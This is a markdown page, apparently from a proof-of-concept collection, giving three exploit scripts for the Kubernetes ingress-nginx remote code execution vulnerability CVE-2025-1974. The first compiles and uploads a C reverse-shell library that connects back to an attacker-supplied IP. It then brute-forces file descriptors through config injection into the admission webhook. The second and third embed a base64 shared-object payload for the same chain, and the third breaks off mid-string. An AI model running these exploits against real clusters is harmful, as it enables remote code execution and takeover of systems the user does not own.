POC/wpoc/KUBERNETES INGRESS-NGINX/KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974).md

708 lines
36 KiB
Markdown

## KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974)
## poc1
```python
#!/usr/bin/env python3
import asyncio
import json
import os
import subprocess
import tempfile
import argparse
from pathlib import Path
import sys
import httpx
# Default shellcode for reverse shell
DEFAULT_SHELL_C = """
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
__attribute__((constructor))
void init(void) {
if (fork() == 0) {
// Create socket
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(REVERSE_SHELL_PORT);
addr.sin_addr.s_addr = inet_addr("REVERSE_SHELL_IP");
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
// Redirect stdin, stdout, stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
// Execute shell
execve("/bin/sh", NULL, NULL);
}
}
"""
data_req = json.loads("""
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "85b707bf-4241-4f9b-9ee8-7809c7132cdc",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "xxx",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "60a7a2da-f9ec-4afc-baaa-11bf648233a8"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "xxx",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "xxx"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "xxx.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "xxx",
"port": {
"number": 5244
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
""")
class Exploit:
def __init__(self, local_mode: bool = False, reverse_shell_ip: str = "10.0.0.1",
reverse_shell_port: int = 4444, admission_port: int = 8443, ingress_port: int = 8080):
"""
Initialize the exploit.
Args:
local_mode: Whether to use port-forwarded local connections
reverse_shell_ip: IP for the reverse shell to connect back to
reverse_shell_port: Port for the reverse shell to connect back to
admission_port: Local port for admission controller (for local_mode)
ingress_port: Local port for ingress controller (for local_mode)
"""
self.reverse_shell_ip = reverse_shell_ip
self.reverse_shell_port = reverse_shell_port
if local_mode:
self.admission_url = f"https://localhost:{admission_port}/networking/v1/ingresses"
self.target_url = f"http://localhost:{ingress_port}/fake/addr"
else:
self.admission_url = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
self.target_url = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
self.req_data = data_req
def build_shellcode(self) -> str:
"""
Build the shellcode from C to .so
Returns:
Path to the compiled shellcode .so file
"""
print("[+] Building shellcode...")
# Create temporary directory
temp_dir = tempfile.mkdtemp()
shell_c_path = os.path.join(temp_dir, "shell.c")
shell_so_path = os.path.join(temp_dir, "shell.so")
# Replace IP and port in the shellcode template
shell_c_content = DEFAULT_SHELL_C.replace("REVERSE_SHELL_IP", self.reverse_shell_ip)
shell_c_content = shell_c_content.replace("REVERSE_SHELL_PORT", str(self.reverse_shell_port))
# Write the C file
with open(shell_c_path, "w") as f:
f.write(shell_c_content)
# Build using Docker
docker_cmd = [
"docker", "run", "--rm", "--platform", "linux/amd64",
"-v", f"{temp_dir}:/build", "alpine:latest",
"/bin/sh", "-c",
"cd /build && "
"apk update && "
"apk add musl-dev build-base && "
"gcc shell.c -S -o shell.S && "
"as --64 -o shell.o shell.S && "
"ld -shared -nostdlib -z noseparate-code -z max-page-size=0x1000 -o shell.so shell.o && "
"strip --strip-all shell.so && "
"chmod +x shell.so && "
"truncate -s 10240 shell.so"
]
try:
print("[*] Building shellcode with Docker...")
subprocess.run(docker_cmd, check=True)
print(f"[+] Shellcode built successfully at {shell_so_path}")
with open(shell_so_path, "rb") as f:
self.shellcode = f.read()
return shell_so_path
except subprocess.CalledProcessError as e:
print(f"[!] Failed to build shellcode with Docker: {e}")
print("[!] Attempting to build locally...")
# Try to build locally if Docker fails
try:
subprocess.run(["gcc", "-shared", "-fPIC", shell_c_path, "-o", shell_so_path], check=True)
print(f"[+] Shellcode built locally at {shell_so_path}")
with open(shell_so_path, "rb") as f:
self.shellcode = f.read()
return shell_so_path
except subprocess.CalledProcessError as e:
print(f"[!] Local build failed: {e}")
raise RuntimeError("Failed to build shellcode")
async def send_admission_req(self) -> None:
print("[+] Searching for vulnerable file descriptors...")
async with httpx.AsyncClient(verify=False) as client:
for pid in range(1, 400):
for fd in range(1, 200):
proc_path = f"/proc/{pid}/fd/{fd}"
self.req_data["request"]["object"]["metadata"]["annotations"][
"nginx.ingress.kubernetes.io/auth-url"
] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (proc_path,)
try:
print(f"[*] Testing {proc_path}")
resp = await client.post(
self.admission_url,
json=self.req_data,
)
res = resp.json()["response"]
print(f"[*] Response: {res}")
if "No such device or address" in res["status"]["message"] or (
"No such file or directory" in res["status"]["message"]
):
continue
except Exception as e:
print(f"[!] Error: {e}")
continue
print(f"[+] Found vulnerable file descriptor: {proc_path}")
return
async def upload_shellcode(self) -> None:
"""Upload shellcode through HTTP request"""
class FakeIterator:
"""Async iterator that yields shellcode once then holds connection"""
def __init__(self, shellcode):
self.shellcode = shellcode
self.sent = False
async def __aiter__(self):
yield self.shellcode
await asyncio.sleep(60*60)
print(f"[+] Uploading shellcode ({len(self.shellcode)} bytes)")
headers = {
"Content-Type": "application/octet-stream",
"Content-Length": str(len(self.shellcode) * 50),
}
async with httpx.AsyncClient() as client:
try:
await client.post(
self.target_url,
data=FakeIterator(self.shellcode),
headers=headers,
timeout=None
)
except Exception as e:
print(f"[*] Upload connection status: {e}")
async def run_exploit(self) -> None:
"""Run the complete exploit chain"""
print("[+] Starting CVE-2025-1974 exploit...")
print(f"[*] Reverse shell will connect to {self.reverse_shell_ip}:{self.reverse_shell_port}")
print("[*] Make sure you have a listener running (e.g., nc -lvnp 4444)")
self.build_shellcode()
upload_tasks = [self.upload_shellcode() for _ in range(50)]
admission_task = self.send_admission_req()
await asyncio.gather(*upload_tasks, admission_task)
print("[+] Exploit completed. Check your listener for incoming connection.")
async def main():
parser = argparse.ArgumentParser(description="CVE-2025-1974 Ingress Nginx Controller Exploit")
parser.add_argument("--local", action="store_true", help="Use local port-forwarded connection")
parser.add_argument("--ip", required=True, help="IP for reverse shell connection")
parser.add_argument("--port", type=int, default=4444, help="Port for reverse shell connection")
parser.add_argument("--admission-port", type=int, default=8443, help="Local port for admission controller")
parser.add_argument("--ingress-port", type=int, default=8080, help="Local port for ingress controller")
args = parser.parse_args()
if not args.ip:
print("[!] Error: You must specify an IP address with --ip")
sys.exit(1)
exploit = Exploit(
local_mode=args.local,
reverse_shell_ip=args.ip,
reverse_shell_port=args.port,
admission_port=args.admission_port,
ingress_port=args.ingress_port
)
await exploit.run_exploit()
if __name__ == "__main__":
import warnings
warnings.filterwarnings("ignore")
asyncio.run(main())
```
原作者地址:https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py
## poc2
```python
import base64
import time
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
pwn_base64 = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAANAQAAAAAAAAAAAAAEAAOAAHAEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAMAAAAAAACgAwAAAAAAAAAQAAAAAAAAAQAAAAYAAACgDgAAAAAAAKAeAAAAAAAAoB4AAAAAAABwAQAAAAAAAHABAAAAAAAAABAAAAAAAAACAAAABgAAAKgOAAAAAAAAqB4AAAAAAACoHgAAAAAAAEABAAAAAAAAQAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAcAMAAAAAAABwAwAAAAAAAHADAAAAAAAAMAAAAAAAAAAwAAAAAAAAAAgAAAAAAAAAU+V0ZAQAAABwAwAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAADAAAAAAAAAACAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAAoA4AAAAAAACgHgAAAAAAAKAeAAAAAAAAYAEAAAAAAABgAQAAAAAAAAEAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAdW5zZXRlbnYAc3lzdGVtAAAAAAAAAACgHgAAAAAAAAgAAAAAAAAAwAIAAAAAAAAAIAAAAAAAAAcAAAABAAAAAAAAAAAAAAAIIAAAAAAAAAcAAAACAAAAAAAAAAAAAAD/NVodAAD/JVwdAAAPH0AA/yVaHQAAaAAAAADp4P////8lUh0AAGgBAAAA6dD///9VSInlSI0FGgAAAEiJx+jN////SI0FFgAAAEiJx+jO////kF3DTERfUFJFTE9BRABzaCAtYyAndG91Y2ggL3RtcC9sdWZlaV9va2snAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAkP///yUAAAAAQQ4QhgJDDQZgDAcIAAAAIAAAADwAAABA////MAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAEAAAAAAAAAAgABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAIAAAAAAAAZAAAAAAAAAKAeAAAAAAAAGwAAAAAAAAAIAAAAAAAAAPX+/28AAAAAyAEAAAAAAAAFAAAAAAAAADACAAAAAAAABgAAAAAAAADoAQAAAAAAAAoAAAAAAAAAEQAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoHwAAAAAAAAIAAAAAAAAAMAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABgAgAAAAAAAAcAAAAAAAAASAIAAAAAAAAIAAAAAAAAABgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAPn//28AAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKYCAAAAAAAAtgIAAAAAAABHQ0M6IChBbHBpbmUgMTMuMi4xX2dpdDIwMjQwMzA5KSAxMy4yLjEgMjAyNDAzMDkAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5yZWxhLmR5bgAucmVsYS5wbHQALnRleHQALnJvZGF0YQAuZWhfZnJhbWUALm5vdGUuZ251LnByb3BlcnR5AC5pbml0X2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAPb//28CAAAAAAAAAMgBAAAAAAAAyAEAAAAAAAAcAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAAAAAAAAAAABUAAAALAAAAAgAAAAAAAADoAQAAAAAAAOgBAAAAAAAASAAAAAAAAAADAAAAAQAAAAgAAAAAAAAAGAAAAAAAAAAdAAAAAwAAAAIAAAAAAAAAMAIAAAAAAAAwAgAAAAAAABEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJQAAAAQAAAACAAAAAAAAAEgCAAAAAAAASAIAAAAAAAAYAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAC8AAAAEAAAAQgAAAAAAAABgAgAAAAAAAGACAAAAAAAAMAAAAAAAAAACAAAADQAAAAgAAAAAAAAAGAAAAAAAAAA0AAAAAQAAAAYAAAAAAAAAkAIAAAAAAACQAgAAAAAAADAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAOQAAAAEAAAAGAAAAAAAAAMACAAAAAAAAwAIAAAAAAAAlAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAD8AAAABAAAAAgAAAAAAAADlAgAAAAAAAOUCAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABHAAAAAQAAAAIAAAAAAAAAEAMAAAAAAAAQAwAAAAAAAFwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAUQAAAAcAAAACAAAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAOAAAAAwAAAAAAAACgHgAAAAAAAKAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAABwAAAABgAAAAMAAAAAAAAAqB4AAAAAAACoDgAAAAAAAEABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAeQAAAAEAAAADAAAAAAAAAOgfAAAAAAAA6A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIIAAAABAAAAMAAAAAAAAAAAAAAAAAAAABAQAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABBEAAAAAAAAIsAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA"
admssion_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
def send_request(admission_url, json_data, proc, fd):
print(f"Trying Proc: {proc}, FD: {fd}")
path = f"proc/{proc}/fd/{fd}"
replaced_data = json_data.replace("REPLACE", path)
headers = {
"Content-Type": "application/json"
}
full_url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
# print(response.text) - use this to debug (check response of admission webhook)
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
def admission_brute(admission_url, max_workers=10):
# proc = input("INPUT PROC:") - use this for manual testing
# fd = input("INPUT FD:") - use this for manual testing
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(30, 50): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admssion_json, proc, fd)
for proc in range(160, 180): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admssion_json, proc, fd)
def exploit(ingress_url):
so = base64.b64decode(pwn_base64) + b"\00" * 8092
real_length = len(so)
fake_length = real_length + 10
url = ingress_url
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(0)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + so
sock.sendall(http_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Resposta:")
print(response.decode(errors="ignore"))
sock.close()
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> ")
sys.exit(0)
else:
ingress_url = sys.argv[1]
admission = sys.argv[2]
# Send the library to the ingress pod and keep the connection open to keep the file open via the file descriptor (FD).
x = threading.Thread(target=exploit, args=(ingress_url,))
x.start()
# time.sleep(9999 * 9999)
# start the admission webhook brute force (/proc/{pid}/fd/{fd})
admission_brute(admission)
```
## poc3
```python
import base64
import time
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
pwn_base64 = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAANAQAAAAAAAAAAAAAEAAOAAHAEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAMAAAAAAACgAwAAAAAAAAAQAAAAAAAAAQAAAAYAAACgDgAAAAAAAKAeAAAAAAAAoB4AAAAAAABwAQAAAAAAAHABAAAAAAAAABAAAAAAAAACAAAABgAAAKgOAAAAAAAAqB4AAAAAAACoHgAAAAAAAEABAAAAAAAAQAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAcAMAAAAAAABwAwAAAAAAAHADAAAAAAAAMAAAAAAAAAAwAAAAAAAAAAgAAAAAAAAAU+V0ZAQAAABwAwAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAADAAAAAAAAAACAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAAoA4AAAAAAACgHgAAAAAAAKAeAAAAAAAAYAEAAAAAAABgAQAAAAAAAAEAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAdW5zZXRlbnYAc3lzdGVtAAAAAAAAAACgHgAAAAAAAAgAAAAAAAAAwAIAAAAAAAAAIAAAAAAAAAcAAAABAAAAAAAAAAAAAAAIIAAAAAAAAAcAAAACAAAAAAAAAAAAAAD/NVodAAD/JVwdAAAPH0AA/yVaHQAAaAAAAADp4P////8lUh0AAGgBAAAA6dD///9VSInlSI0FGgAAAEiJx+jN////SI0FFgAAAEiJx+jO////kF3DTERfUFJFTE9BRABzaCAtYyAndG91Y2ggL3RtcC9sdWZlaV9va2snAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAkP///yUAAAAAQQ4QhgJDDQZgDAcIAAAAIAAAADwAAABA////MAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAEAAAAAAAAAAgABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA